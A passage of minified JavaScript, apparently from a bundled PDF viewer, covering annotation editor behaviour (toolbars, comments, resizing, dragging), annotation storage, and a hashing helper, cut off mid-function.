parentRotation(){return(this._uiManager.viewParameters.rotation+this.pageRotation)%360}get parentDimensions(){const{parentScale:e,pageDimensions:[t,n]}=this;return[t*e,n*e]}setDims(){const{div:{style:e},width:t,height:n}=this;e.width=`${(100*t).toFixed(2)}%`,e.height=`${(100*n).toFixed(2)}%`}getInitialTranslation(){return[0,0]}_onResized(){}static _round(e){return Math.round(e*1e4)/1e4}_onResizing(){}altTextFinish(){var e;(e=a(this,Jt))==null||e.finish()}get toolbarButtons(){return null}async addEditToolbar(){if(this._editToolbar||a(this,$o))return this._editToolbar;this._editToolbar=new Jv(this),this.div.append(this._editToolbar.render());const{toolbarButtons:e}=this;if(e)for(const[t,n]of e)await this._editToolbar.addButton(t,n);return this.hasComment||this._editToolbar.addButton("comment",this.addCommentButton()),this._editToolbar.addButton("delete"),this._editToolbar}addCommentButtonInToolbar(){var e;(e=this._editToolbar)==null||e.addButtonBefore("comment",this.addCommentButton(),".deleteButton")}removeCommentButtonFromToolbar(){var e;(e=this._editToolbar)==null||e.removeButton("comment")}removeEditToolbar(){var e,t;(e=this._editToolbar)==null||e.remove(),this._editToolbar=null,(t=a(this,Jt))==null||t.destroy()}addContainer(e){var n;const t=(n=this._editToolbar)==null?void 0:n.div;t?t.before(e):this.div.append(e)}getClientDimensions(){return this.div.getBoundingClientRect()}createAltText(){return a(this,Jt)||(wm.initialize(ft._l10n),g(this,Jt,new wm(this)),a(this,ko)&&(a(this,Jt).data=a(this,ko),g(this,ko,null))),a(this,Jt)}get altTextData(){var e;return(e=a(this,Jt))==null?void 0:e.data}set altTextData(e){a(this,Jt)&&(a(this,Jt).data=e)}get guessedAltText(){var e;return(e=a(this,Jt))==null?void 0:e.guessedText}async setGuessedAltText(e){var t;await((t=a(this,Jt))==null?void 0:t.setGuessedText(e))}serializeAltText(e){var t;return(t=a(this,Jt))==null?void 0:t.serialize(e)}hasAltText(){return!!a(this,Jt)&&!a(this,Jt).isEmpty()}hasAltTextData(){var e;return((e=a(this,Jt))==null?void 0:e.hasData())??!1}focusCommentButton(){var e;(e=a(this,Nt))==null||e.focusButton()}addCommentButton(){return this.canAddComment?a(this,Nt)||g(this,Nt,new lg(this)):null}addStandaloneCommentButton(){if(this._uiManager.hasCommentManager()){if(a(this,Wi)){this._uiManager.isEditingMode()&&a(this,Wi).classList.remove("hidden");return}this.hasComment&&(g(this,Wi,a(this,Nt).renderForStandalone()),this.div.append(a(this,Wi)))}}removeStandaloneCommentButton(){a(this,Nt).removeStandaloneCommentButton(),g(this,Wi,null)}hideStandaloneCommentButton(){var e;(e=a(this,Wi))==null||e.classList.add("hidden")}get comment(){if(!a(this,Nt))return null;const{data:{richText:e,text:t,date:n,deleted:r}}=a(this,Nt);return{text:t,richText:e,date:n,deleted:r,color:this.getNonHCMColor(),opacity:this.opacity??1}}set comment(e){a(this,Nt)||g(this,Nt,new lg(this)),typeof e=="object"&&e!==null?a(this,Nt).restoreData(e):a(this,Nt).data=e,this.hasComment?(this.removeCommentButtonFromToolbar(),this.addStandaloneCommentButton(),this._uiManager.updateComment(this)):(this.addCommentButtonInToolbar(),this.removeStandaloneCommentButton(),this._uiManager.removeComment(this))}setCommentData({comment:e,popupRef:t,richText:n}){if(!t||(a(this,Nt)||g(this,Nt,new lg(this)),a(this,Nt).setInitialText(e,n),!this.annotationElementId))return;const r=this._uiManager.getAndRemoveDataFromAnnotationStorage(this.annotationElementId);r&&this.updateFromAnnotationLayer(r)}get hasEditedComment(){var e;return(e=a(this,Nt))==null?void 0:e.hasBeenEdited()}get hasDeletedComment(){var e;return(e=a(this,Nt))==null?void 0:e.isDeleted()}get hasComment(){return!!a(this,Nt)&&!a(this,Nt).isEmpty()&&!a(this,Nt).isDeleted()}async editComment(e){a(this,Nt)||g(this,Nt,new lg(this)),a(this,Nt).edit(e)}toggleComment(e,t=void 0){this.hasComment&&this._uiManager.toggleComment(this,e,t)}setSelectedCommentButton(e){a(this,Nt).setSelectedButton(e)}addComment(e){if(this.hasEditedComment){const[,,,r]=e.rect,[i]=this.pageDimensions,[s]=this.pageTranslation,o=s+i+1,l=r-100,u=o+180;e.popup={contents:this.comment.text,deleted:this.comment.deleted,rect:[o,l,u,r]}}}updateFromAnnotationLayer({popup:{contents:e,deleted:t}}){a(this,Nt).data=t?null:e}get parentBoundingClientRect(){return this.parent.boundingClientRect}render(){var s;const e=this.div=document.createElement("div");e.setAttribute("data-editor-rotation",(360-this.rotation)%360),e.className=this.name,e.setAttribute("id",this.id),e.tabIndex=a(this,Qh)?-1:0,e.setAttribute("role","application"),this.defaultL10nId&&e.setAttribute("data-l10n-id",this.defaultL10nId),this._isVisible||e.classList.add("hidden"),this.setInForeground(),A(this,ot,uy).call(this);const[t,n]=this.parentDimensions;this.parentRotation%180!==0&&(e.style.maxWidth=`${(100*n/t).toFixed(2)}%`,e.style.maxHeight=`${(100*t/n).toFixed(2)}%`);const[r,i]=this.getInitialTranslation();return this.translate(r,i),eA(this,e,["keydown","pointerdown","dblclick"]),this.isResizable&&this._uiManager._supportsPinchToZoom&&(a(this,Ho)||g(this,Ho,new mA({container:e,isPinchingDisabled:()=>!this.isSelected,onPinchStart:A(this,ot,wA).bind(this),onPinching:A(this,ot,xA).bind(this),onPinchEnd:A(this,ot,SA).bind(this),signal:this._uiManager._signal}))),this.addStandaloneCommentButton(),(s=this._uiManager._editorUndoBar)==null||s.hide(),e}pointerdown(e){const{isMac:t}=be.platform;if(e.button!==0||e.ctrlKey&&t){e.preventDefault();return}if(g(this,Uo,!0),this._isDraggable){A(this,ot,CA).call(this,e);return}A(this,ot,hy).call(this,e)}_onStartDragging(){}_onStopDragging(){}moveInDOM(){a(this,ni)&&clearTimeout(a(this,ni)),g(this,ni,setTimeout(()=>{var e;g(this,ni,null),(e=this.parent)==null||e.moveEditorInDOM(this)},0))}_setParentAndPosition(e,t,n){e.changeParent(this),this.x=t,this.y=n,this.fixAndSetPosition(),this._onTranslated()}getRect(e,t,n=this.rotation){const r=this.parentScale,[i,s]=this.pageDimensions,[o,l]=this.pageTranslation,u=e/r,c=t/r,d=this.x*i,f=this.y*s,p=this.width*i,m=this.height*s;switch(n){case 0:return[d+u+o,s-f-c-m+l,d+u+p+o,s-f-c+l];case 90:return[d+c+o,s-f+u+l,d+c+m+o,s-f+u+p+l];case 180:return[d-u-p+o,s-f+c+l,d-u+o,s-f+c+m+l];case 270:return[d-c-m+o,s-f-u-p+l,d-c+o,s-f-u+l];default:throw new Error("Invalid rotation")}}getRectInCurrentCoords(e,t){const[n,r,i,s]=e,o=i-n,l=s-r;switch(this.rotation){case 0:return[n,t-s,o,l];case 90:return[n,t-r,l,o];case 180:return[i,t-r,o,l];case 270:return[i,t-s,l,o];default:throw new Error("Invalid rotation")}}getPDFRect(){return this.getRect(0,0)}getNonHCMColor(){return this.color&&ft._colorManager.convert(this._uiManager.getNonHCMColor(this.color))}onUpdatedColor(){var e;(e=a(this,Nt))==null||e.onUpdatedColor()}getData(){const{comment:{text:e,color:t,date:n,opacity:r,deleted:i,richText:s},uid:o,pageIndex:l,creationDate:u,modificationDate:c}=this;return{id:o,pageIndex:l,rect:this.getPDFRect(),richText:s,contentsObj:{str:e},creationDate:u,modificationDate:n||c,popupRef:!i,color:t,opacity:r}}onceAdded(e){}isEmpty(){return!1}enableEditMode(){return this.isInEditMode()?!1:(this.parent.setEditingState(!1),g(this,$o,!0),!0)}disableEditMode(){return this.isInEditMode()?(this.parent.setEditingState(!0),g(this,$o,!1),!0):!1}isInEditMode(){return a(this,$o)}shouldGetKeyboardEvents(){return a(this,Gi)}needsToBeRebuilt(){return this.div&&!this.isAttachedToDOM}get isOnScreen(){const{top:e,left:t,bottom:n,right:r}=this.getClientDimensions(),{innerHeight:i,innerWidth:s}=window;return t0&&e0}rebuild(){A(this,ot,uy).call(this)}rotate(e){}resize(){}serializeDeleted(){var e;return{id:this.annotationElementId,deleted:!0,pageIndex:this.pageIndex,popupRef:((e=this._initialData)==null?void 0:e.popupRef)||""}}serialize(e=!1,t=null){var n;return{annotationType:this.mode,pageIndex:this.pageIndex,rect:this.getPDFRect(),rotation:this.rotation,structTreeParentId:this._structTreeParentId,popupRef:((n=this._initialData)==null?void 0:n.popupRef)||""}}static async deserialize(e,t,n){const r=new this.prototype.constructor({parent:t,id:n.getId(),uiManager:n,annotationElementId:e.annotationElementId,creationDate:e.creationDate,modificationDate:e.modificationDate});r.rotation=e.rotation,g(r,ko,e.accessibilityData),r._isCopy=e.isCopy||!1;const[i,s]=r.pageDimensions,[o,l,u,c]=r.getRectInCurrentCoords(e.rect,s);return r.x=o/i,r.y=l/s,r.width=u/i,r.height=c/s,r}get hasBeenModified(){return!!this.annotationElementId&&(this.deleted||this.serialize()!==null)}remove(){var e,t,n;if((e=a(this,ma))==null||e.abort(),g(this,ma,null),this.isEmpty()||this.commit(),this.parent?this.parent.remove(this):this._uiManager.removeEditor(this),this.hideCommentPopup(),a(this,ni)&&(clearTimeout(a(this,ni)),g(this,ni,null)),A(this,ot,_c).call(this),this.removeEditToolbar(),a(this,hr)){for(const r of a(this,hr).values())clearTimeout(r);g(this,hr,null)}this.parent=null,(t=a(this,Ho))==null||t.destroy(),g(this,Ho,null),(n=a(this,lr))==null||n.remove(),g(this,lr,null)}get isResizable(){return!1}makeResizable(){this.isResizable&&(A(this,ot,AA).call(this),a(this,je).classList.remove("hidden"))}get toolbarPosition(){return null}get commentButtonPosition(){return this._uiManager.direction==="ltr"?[1,0]:[0,0]}get commentButtonPositionInPage(){const{commentButtonPosition:[e,t]}=this,[n,r,i,s]=this.getPDFRect();return[ft._round(n+(i-n)*e),ft._round(r+(s-r)*(1-t))]}get commentButtonColor(){return this._uiManager.makeCommentColor(this.getNonHCMColor(),this.opacity)}get commentPopupPosition(){return a(this,Nt).commentPopupPositionInLayer}set commentPopupPosition(e){a(this,Nt).commentPopupPositionInLayer=e}hasDefaultPopupPosition(){return a(this,Nt).hasDefaultPopupPosition()}get commentButtonWidth(){return a(this,Nt).commentButtonWidth}get elementBeforePopup(){return this.div}setCommentButtonStates(e){var t;(t=a(this,Nt))==null||t.setCommentButtonStates(e)}keydown(e){if(!this.isResizable||e.target!==this.div||e.key!=="Enter")return;this._uiManager.setSelected(this),g(this,zi,{savedX:this.x,savedY:this.y,savedWidth:this.width,savedHeight:this.height});const t=a(this,je).children;if(!a(this,Cr)){g(this,Cr,Array.from(t));const s=A(this,ot,TA).bind(this),o=A(this,ot,PA).bind(this),l=this._uiManager._signal;for(const u of a(this,Cr)){const c=u.getAttribute("data-resizer-name");u.setAttribute("role","spinbutton"),u.addEventListener("keydown",s,{signal:l}),u.addEventListener("blur",o,{signal:l}),u.addEventListener("focus",A(this,ot,IA).bind(this,c),{signal:l}),u.setAttribute("data-l10n-id",ft._l10nResizer[c])}}const n=a(this,Cr)[0];let r=0;for(const s of t){if(s===n)break;r++}const i=(360-this.rotation+this.parentRotation)%360/90*(a(this,Cr).length/4);if(i!==r){if(ir)for(let o=0;o{var r,i;(r=this.div)!=null&&r.classList.contains("selectedEditor")&&((i=this._editToolbar)==null||i.show())});return}(t=this._editToolbar)==null||t.show(),(n=a(this,Jt))==null||n.toggleAltTextBadge(!1)}focus(){this.div&&!this.div.contains(document.activeElement)&&setTimeout(()=>{var e;return(e=this.div)==null?void 0:e.focus({preventScroll:!0})},0)}unselect(){var e,t,n,r,i;this.isSelected&&(this.isSelected=!1,(e=a(this,je))==null||e.classList.add("hidden"),(t=this.div)==null||t.classList.remove("selectedEditor"),(n=this.div)!=null&&n.contains(document.activeElement)&&this._uiManager.currentLayer.div.focus({preventScroll:!0}),(r=this._editToolbar)==null||r.hide(),(i=a(this,Jt))==null||i.toggleAltTextBadge(!0),this.hideCommentPopup())}hideCommentPopup(){this.hasComment&&this._uiManager.toggleComment(null)}updateParams(e,t){}disableEditing(){}enableEditing(){}get canChangeContent(){return!1}enterInEditMode(){this.canChangeContent&&(this.enableEditMode(),this.div.focus())}dblclick(e){e.target.nodeName!=="BUTTON"&&(this.enterInEditMode(),this.parent.updateToolbar({mode:this.constructor._editorType,editId:this.uid}))}getElementForAltText(){return this.div}get contentDiv(){return this.div}get isEditing(){return a(this,ef)}set isEditing(e){g(this,ef,e),this.parent&&(e?(this.parent.setSelected(this),this.parent.setActiveEditor(this)):this.parent.setActiveEditor(null))}static get MIN_SIZE(){return 16}static canCreateNewEmptyEditor(){return!0}get telemetryInitialData(){return{action:"added"}}get telemetryFinalData(){return null}_reportTelemetry(e,t=!1){if(t){a(this,hr)||g(this,hr,new Map);const{action:n}=e;let r=a(this,hr).get(n);r&&clearTimeout(r),r=setTimeout(()=>{this._reportTelemetry(e),a(this,hr).delete(n),a(this,hr).size===0&&g(this,hr,null)},ft._telemetryTimeout),a(this,hr).set(n,r);return}e.type||(e.type=this.editorType),this._uiManager._eventBus.dispatch("reporttelemetry",{source:this,details:{type:"editing",data:e}})}show(e=this._isVisible){this.div.classList.toggle("hidden",!e),this._isVisible=e}enable(){this.div&&(this.div.tabIndex=0),g(this,Qh,!1)}disable(){this.div&&(this.div.tabIndex=-1),g(this,Qh,!0)}updateFakeAnnotationElement(e){if(!a(this,lr)&&!this.deleted){g(this,lr,e.addFakeAnnotation(this));return}if(this.deleted){a(this,lr).remove(),g(this,lr,null);return}(this.hasEditedComment||this._hasBeenMoved||this._hasBeenResized)&&a(this,lr).updateEdited({rect:this.getPDFRect(),popup:this.comment})}renderAnnotationElement(e){if(this.deleted)return e.hide(),null;let t=e.container.querySelector(".annotationContent");if(!t)t=document.createElement("div"),t.classList.add("annotationContent",this.editorType),e.container.prepend(t);else if(t.nodeName==="CANVAS"){const n=t;t=document.createElement("div"),t.classList.add("annotationContent",this.editorType),n.before(t)}return t}resetAnnotationElement(e){const{firstElementChild:t}=e.container;(t==null?void 0:t.nodeName)==="DIV"&&t.classList.contains("annotationContent")&&t.remove()}};ko=new WeakMap,Cr=new WeakMap,Jt=new WeakMap,Nt=new WeakMap,Wi=new WeakMap,Qh=new WeakMap,ga=new WeakMap,qd=new WeakMap,je=new WeakMap,jo=new WeakMap,zi=new WeakMap,lr=new WeakMap,ma=new WeakMap,tf=new WeakMap,Uo=new WeakMap,Dn=new WeakMap,ef=new WeakMap,$o=new WeakMap,Gi=new WeakMap,ni=new WeakMap,qh=new WeakMap,tu=new WeakMap,hr=new WeakMap,Ho=new WeakMap,nf=new WeakMap,jm=new WeakMap,ot=new WeakSet,sy=function([e,t],n,r){[n,r]=this.screenToPageTranslation(n,r),this.x+=n/e,this.y+=r/t,this._onTranslating(this.x,this.y),this.fixAndSetPosition()},rf=new WeakSet,ay=function(e,t,n){switch(n){case 90:return[t,-e];case 180:return[-e,-t];case 270:return[-t,e];default:return[e,t]}},Pg=function(e){switch(e){case 90:{const[t,n]=this.pageDimensions;return[0,-t/n,n/t,0]}case 180:return[-1,0,0,-1];case 270:{const[t,n]=this.pageDimensions;return[0,t/n,-n/t,0]}default:return[1,0,0,1]}},AA=function(){if(a(this,je))return;g(this,je,document.createElement("div")),a(this,je).classList.add("resizers");const e=this._willKeepAspectRatio?["topLeft","topRight","bottomRight","bottomLeft"]:["topLeft","topMiddle","topRight","middleRight","bottomRight","bottomMiddle","bottomLeft","middleLeft"],t=this._uiManager._signal;for(const n of e){const r=document.createElement("div");a(this,je).append(r),r.classList.add("resizer",n),r.setAttribute("data-resizer-name",n),r.addEventListener("pointerdown",A(this,ot,EA).bind(this,n),{signal:t}),r.addEventListener("contextmenu",Er,{signal:t}),r.tabIndex=-1}this.div.prepend(a(this,je))},EA=function(e,t){var c;t.preventDefault();const{isMac:n}=be.platform;if(t.button!==0||t.ctrlKey&&n)return;(c=a(this,Jt))==null||c.toggle(!1);const r=this._isDraggable;this._isDraggable=!1,g(this,jo,[t.screenX,t.screenY]);const i=new AbortController,s=this._uiManager.combinedSignal(i);this.parent.togglePointerEvents(!1),window.addEventListener("pointermove",A(this,ot,ly).bind(this,e),{passive:!0,capture:!0,signal:s}),window.addEventListener("touchmove",ee,{passive:!1,signal:s}),window.addEventListener("contextmenu",Er,{signal:s}),g(this,zi,{savedX:this.x,savedY:this.y,savedWidth:this.width,savedHeight:this.height});const o=this.parent.div.style.cursor,l=this.div.style.cursor;this.div.style.cursor=this.parent.div.style.cursor=window.getComputedStyle(t.target).cursor;const u=()=>{var d;i.abort(),this.parent.togglePointerEvents(!0),(d=a(this,Jt))==null||d.toggle(!0),this._isDraggable=r,this.parent.div.style.cursor=o,this.div.style.cursor=l,A(this,ot,Ig).call(this)};window.addEventListener("pointerup",u,{signal:s}),window.addEventListener("blur",u,{signal:s})},oy=function(e,t,n,r){this.width=n,this.height=r,this.x=e,this.y=t,this.setDims(),this.fixAndSetPosition(),this._onResized()},Ig=function(){if(!a(this,zi))return;const{savedX:e,savedY:t,savedWidth:n,savedHeight:r}=a(this,zi);g(this,zi,null);const i=this.x,s=this.y,o=this.width,l=this.height;i===e&&s===t&&o===n&&l===r||this.addCommands({cmd:A(this,ot,oy).bind(this,i,s,o,l),undo:A(this,ot,oy).bind(this,e,t,n,r),mustExec:!0})},ly=function(e,t){const[n,r]=this.parentDimensions,i=this.x,s=this.y,o=this.width,l=this.height,u=ft.MIN_SIZE/n,c=ft.MIN_SIZE/r,d=A(this,ot,Pg).call(this,this.rotation),f=(j,U)=>[d[0]*j+d[2]*U,d[1]*j+d[3]*U],p=A(this,ot,Pg).call(this,360-this.rotation),m=(j,U)=>[p[0]*j+p[2]*U,p[1]*j+p[3]*U];let v,y,E=!1,S=!1;switch(e){case"topLeft":E=!0,v=(j,U)=>[0,0],y=(j,U)=>[j,U];break;case"topMiddle":v=(j,U)=>[j/2,0],y=(j,U)=>[j/2,U];break;case"topRight":E=!0,v=(j,U)=>[j,0],y=(j,U)=>[0,U];break;case"middleRight":S=!0,v=(j,U)=>[j,U/2],y=(j,U)=>[0,U/2];break;case"bottomRight":E=!0,v=(j,U)=>[j,U],y=(j,U)=>[0,0];break;case"bottomMiddle":v=(j,U)=>[j/2,U],y=(j,U)=>[j/2,0];break;case"bottomLeft":E=!0,v=(j,U)=>[0,U],y=(j,U)=>[j,0];break;case"middleLeft":S=!0,v=(j,U)=>[0,U/2],y=(j,U)=>[j,U/2];break}const w=v(o,l),C=y(o,l);let x=f(...C);const T=ft._round(i+x[0]),I=ft._round(s+x[1]);let F=1,P=1,R,D;if(t.fromKeyboard)({deltaX:R,deltaY:D}=t);else{const{screenX:j,screenY:U}=t,[z,G]=a(this,jo);[R,D]=this.screenToPageTranslation(j-z,U-G),a(this,jo)[0]=j,a(this,jo)[1]=U}if([R,D]=m(R/n,D/r),E){const j=Math.hypot(o,l);F=P=Math.max(Math.min(Math.hypot(C[0]-w[0]-R,C[1]-w[1]-D)/j,1/o,1/l),u/o,c/l)}else S?F=Qt(Math.abs(C[0]-w[0]-R),u,1)/o:P=Qt(Math.abs(C[1]-w[1]-D),c,1)/l;const k=ft._round(o*F),N=ft._round(l*P);x=f(...y(k,N));const H=T-x[0],X=I-x[1];a(this,Dn)||g(this,Dn,[this.x,this.y,this.width,this.height]),this.width=k,this.height=N,this.x=H,this.y=X,this.setDims(),this.fixAndSetPosition(),this._onResizing()},wA=function(){var e;g(this,zi,{savedX:this.x,savedY:this.y,savedWidth:this.width,savedHeight:this.height}),(e=a(this,Jt))==null||e.toggle(!1),this.parent.togglePointerEvents(!1)},xA=function(e,t,n){let i=.7*(n/t)+1-.7;if(i===1)return;const s=A(this,ot,Pg).call(this,this.rotation),o=(T,I)=>[s[0]*T+s[2]*I,s[1]*T+s[3]*I],[l,u]=this.parentDimensions,c=this.x,d=this.y,f=this.width,p=this.height,m=ft.MIN_SIZE/l,v=ft.MIN_SIZE/u;i=Math.max(Math.min(i,1/f,1/p),m/f,v/p);const y=ft._round(f*i),E=ft._round(p*i);if(y===f&&E===p)return;a(this,Dn)||g(this,Dn,[c,d,f,p]);const S=o(f/2,p/2),w=ft._round(c+S[0]),C=ft._round(d+S[1]),x=o(y/2,E/2);this.x=w-x[0],this.y=C-x[1],this.width=y,this.height=E,this.setDims(),this.fixAndSetPosition(),this._onResizing()},SA=function(){var e;(e=a(this,Jt))==null||e.toggle(!0),this.parent.togglePointerEvents(!0),A(this,ot,Ig).call(this)},hy=function(e){const{isMac:t}=be.platform;e.ctrlKey&&!t||e.shiftKey||e.metaKey&&t?this.parent.toggleSelected(this):this.parent.setSelected(this)},CA=function(e){const{isSelected:t}=this;this._uiManager.setUpDragSession();let n=!1;const r=new AbortController,i=this._uiManager.combinedSignal(r),s={capture:!0,passive:!1,signal:i},o=u=>{r.abort(),g(this,ga,null),g(this,Uo,!1),this._uiManager.endDragSession()||A(this,ot,hy).call(this,u),n&&this._onStopDragging()};t&&(g(this,qh,e.clientX),g(this,tu,e.clientY),g(this,ga,e.pointerId),g(this,qd,e.pointerType),window.addEventListener("pointermove",u=>{n||(n=!0,this._uiManager.toggleComment(this,!0,!1),this._onStartDragging());const{clientX:c,clientY:d,pointerId:f}=u;if(f!==a(this,ga)){ee(u);return}const[p,m]=this.screenToPageTranslation(c-a(this,qh),d-a(this,tu));g(this,qh,c),g(this,tu,d),this._uiManager.dragSelectedEditors(p,m)},s),window.addEventListener("touchmove",ee,s),window.addEventListener("pointerdown",u=>{u.pointerType===a(this,qd)&&(a(this,Ho)||u.isPrimary)&&o(u),ee(u)},s));const l=u=>{if(!a(this,ga)||a(this,ga)===u.pointerId){o(u);return}ee(u)};window.addEventListener("pointerup",l,{signal:i}),window.addEventListener("blur",l,{signal:i})},uy=function(){if(a(this,ma)||!this.div)return;g(this,ma,new AbortController);const e=this._uiManager.combinedSignal(a(this,ma));this.div.addEventListener("focusin",this.focusin.bind(this),{signal:e}),this.div.addEventListener("focusout",this.focusout.bind(this),{signal:e})},TA=function(e){ft._resizerKeyboardManager.exec(this,e)},PA=function(e){var t;a(this,Gi)&&((t=e.relatedTarget)==null?void 0:t.parentNode)!==a(this,je)&&A(this,ot,_c).call(this)},IA=function(e){g(this,tf,a(this,Gi)?e:"")},cy=function(e){if(a(this,Cr))for(const t of a(this,Cr))t.tabIndex=e},_c=function(){g(this,Gi,!1),A(this,ot,cy).call(this,-1),A(this,ot,Ig).call(this)},b(ft,rf),M(ft,"_l10n",null),M(ft,"_l10nResizer",null),M(ft,"_borderLineWidth",-1),M(ft,"_colorManager",new qv),M(ft,"_zIndex",1),M(ft,"_telemetryTimeout",1e3);let Gt=ft;class Qx extends Gt{constructor(e){super(e),this.annotationElementId=e.annotationElementId,this.deleted=!0}serialize(){return this.serializeDeleted()}}const Nb=3285377520,qn=4294901760,Gr=65535;class dy{constructor(e){this.h1=e?e&4294967295:Nb,this.h2=e?e&4294967295:Nb}update(e){let t,n;if(typeof e=="string"){t=new Uint8Array(e.length*2),n=0;for(let v=0,y=e.length;v>>8,t[n++]=E&255)}}else if(ArrayBuffer.isView(e))t=e.slice(),n=t.byteLength;else throw new Error("Invalid data format, must be a string or TypedArray.");const r=n>>2,i=n-r*4,s=new Uint32Array(t.buffer,0,r);let o=0,l=0,u=this.h1,c=this.h2;const d=3432918353,f=461845907,p=d&Gr,m=f&Gr;for(let v=0;v>>17,o=o*f&qn|o*m&Gr,u^=o,u=u<<13|u>>>19,u=u*5+3864292196):(l=s[v],l=l*d&qn|l*p&Gr,l=l<<15|l>>>17,l=l*f&qn|l*m&Gr,c^=l,c=c<<13|c>>>19,c=c*5+3864292196);switch(o=0,i){case 3:o^=t[r*4+2]<<16;case 2:o^=t[r*4+1]<<8;case 1:o^=t[r*4],o=o*d&qn|o*p&Gr,o=o<<15|o>>>17,o=o*f&qn|o*m&Gr,r&1?u^=o:c^=o}this.h1=u,this.h2=c}hexdigest(){let e=this.h1,t=this.h2;return e^=t>>>1,e=e*3981806797&qn|e*36045&Gr,t=t*4283543511&qn|((t<<16|e>>>16)*2950163797&qn)>>>16,e^=t>>>1,e=e*444984403&qn|e*60499&Gr,t=t*3301882366&qn|((t<<16|e>>>16)*3120437893&qn)>>>16,e^=t>>>1,(e>>>0).toString(16).padStart(8,"0")+(t>>>0).toString(16).padStart(8,"0")}}const Td=Object.freeze({map:null,hash:"",transfer:void 0});var Vo,Wo,Xi,Ue,Um,RA;class ob{constructor(){b(this,Um);b(this,Vo,!1);b(this,Wo,null);b(this,Xi,null);b(this,Ue,new Map);M(this,"onSetModified",null);M(this,"onResetModified",null);M(this,"onAnnotationEditor",null)}getValue(e,t){const n=a(this,Ue).get(e);return n===void 0?t:Object.assign(t,n)}getRawValue(e){return a(this,Ue).get(e)}remove(e){var n;const t=a(this,Ue).get(e);t!==void 0&&(t instanceof Gt&&a(this,Xi).delete(t.annotationElementId),a(this,Ue).delete(e),a(this,Ue).size===0&&this.resetModified(),!a(this,Ue).values().some(r=>r instanceof Gt)&&((n=this.onAnnotationEditor)==null||n.call(this,null)))}setValue(e,t){var i;const n=a(this,Ue).get(e);let r=!1;if(n!==void 0)for(const[s,o]of Object.entries(t))n[s]!==o&&(r=!0,n[s]=o);else r=!0,a(this,Ue).set(e,t);r&&A(this,Um,RA).call(this),t instanceof Gt&&((a(this,Xi)||g(this,Xi,new Map)).set(t.annotationElementId,t),(i=this.onAnnotationEditor)==null||i.call(this,t.constructor._type))}has(e){return a(this,Ue).has(e)}get size(){return a(this,Ue).size}resetModified(){var e;a(this,Vo)&&(g(this,Vo,!1),(e=this.onResetModified)==null||e.call(this))}get print(){return new FA(this)}get serializable(){if(a(this,Ue).size===0)return Td;const e=new Map,t=new dy,n=[],r=Object.create(null);let i=!1;for(const[s,o]of a(this,Ue)){const l=o instanceof Gt?o.serialize(!1,r):o;o.page&&(o.pageIndex=o.page._pageIndex,delete o.page),l&&(e.set(s,l),t.update(`${s}:${JSON.stringify(l)}`),i||(i=!!l.bitmap))}if(i)for(const s of e.values())s.bitmap&&n.push(s.bitmap);return e.size>0?{map:e,hash:t.hexdigest(),transfer:n}:Td}get editorStats(){let e=null;const t=new Map;let n=0,r=0;for(const i of a(this,Ue).values()){if(!(i instanceof Gt)){i.popup&&(i.popup.deleted?r+=1:n+=1);continue}i.isCommentDeleted?r+=1:i.hasEditedComment&&(n+=1);const s=i.telemetryFinalData;if(!s)continue;const{type:o}=s;t.has(o)||t.set(o,Object.getPrototypeOf(i).constructor),e||(e=Object.create(null));const l=e[o]||(e[o]=new Map);for(const[u,c]of Object.entries(s)){if(u==="type")continue;const d=l.getOrInsertComputed(u,nb);d.set(c,(d.get(c)??0)+1)}}if((r>0||n>0)&&(e||(e=Object.create(null)),e.comments={deleted:r,edited:n}),!e)return null;for(const[i,s]of t)e[i]=s.computeTelemetryFinalData(e[i]);return e}resetModifiedIds(){g(this,Wo,null)}updateEditor(e,t){var r;const n=(r=a(this,Xi))==null?void 0:r.get(e);return n?(n.updateFromAnnotationLayer(t),!0):!1}getEditor(e){var t;return((t=a(this,Xi))==null?void 0:t.get(e))||null}get modifiedIds(){if(a(this,Wo))return a(this,Wo);const e=[];if(a(this,Xi))for(const n of a(this,Xi).values())n.serialize()&&e.push(n.annotationElementId);let t="";if(e.length){const n=new dy;n.update(e.join(",")),t=n.hexdigest()}return g(this,Wo,{ids:new Set(e),hash:t})}[Symbol.iterator](){return a(this,Ue).entries()}}Vo=new WeakMap,Wo=new WeakMap,Xi=new WeakMap,Ue=new WeakMap,Um=new WeakSet,RA=function(){var e;a(this,Vo)||(g(this,Vo,!0),(e=this.onSetModified)==null||e.call(this))};var sf;class FA extends ob{constructor(t){super();b(this,sf,Td);const{serializable:n}=t;if(n===Td)return;const{map:r,hash:i,transfer:s}=n,o=structuredClone(r,s?{transfer:s}:null);g(this,sf,{map:o,hash:i,transfer:[]})}get print(){Ot("Should not call PrintAnnotationStorage.print")}get serializable(){return a(this,sf)}get modifiedIds(){return dt(this,"modifiedIds",{ids:new Set,hash:""})}}sf=new WeakMap;ut(7588);const ph="__forcedDependency",{floor:Bb,ceil:kb}=Math;function jb(h,e,t,n,r,i){h[e*4+0]=Math.min(h[e*4+0],t),h[e*4+1]=Math.min(h[e*4+1],n),h[e*4+2]=Math.max(h[e*4+2],r),h[e*4+3]=Math.max(h[e*4+3],i)}const fy=new Uint32Array(new Uint8Array([255,255,0,0]).buffer)[0];var eu,va;class qx{constructor(e,t){b(this,eu);b(this,va);g(this,eu,e),g(this,va,t)}get length(){return a(this,eu).length}isEmpty(e){return a(this,eu)[e]===fy}minX(e){return a(this,va)[e*4+0]/256}minY(e){return a(this,va)[e*4+1]/256}maxX(e){return(a(this,va)[e*4+2]+1)/256}maxY(e){return(a(this,va)[e*4+3]+1)/256}}eu=new WeakMap,va=new WeakMap;const Ub=(h,e)=>h==null?void 0:h.getOrInsertComputed(e,()=>({dependencies:new Set,isRenderingOperation:!1}));var _i,Dt,_t,zo,Go,Xo,Ze,af,py;class tS{constructor(e,t){b(this,af);b(this,_i,[[1,0,0,1,0,0]]);b(this,Dt,[-1/0,-1/0,1/0,1/0]);b(this,_t,new Float64Array(Ls));M(this,"_pendingBBoxIdx",-1);b(this,zo);b(this,Go);b(this,Xo);b(this,Ze);M(this,"_savesStack",[]);M(this,"_markedContentStack",[]);g(this,zo,e.width),g(this,Go,e.height),A(this,af,py).call(this,t)}growOperationsCount(e){e>=a(this,Ze).length&&A(this,af,py).call(this,e,a(this,Ze))}get clipBox(){return a(this,Dt)}save(e){return g(this,Dt,{__proto__:a(this,Dt)}),this._savesStack.push(e),this}restore(e,t){const n=Object.getPrototypeOf(a(this,Dt));if(n===null)return this;g(this,Dt,n);const r=this._savesStack.pop();return r!==void 0&&(t==null||t(r,e),a(this,Ze)[e]=a(this,Ze)[r]),this}recordOpenMarker(e){return this._savesStack.push(e),this}getOpenMarker(){return 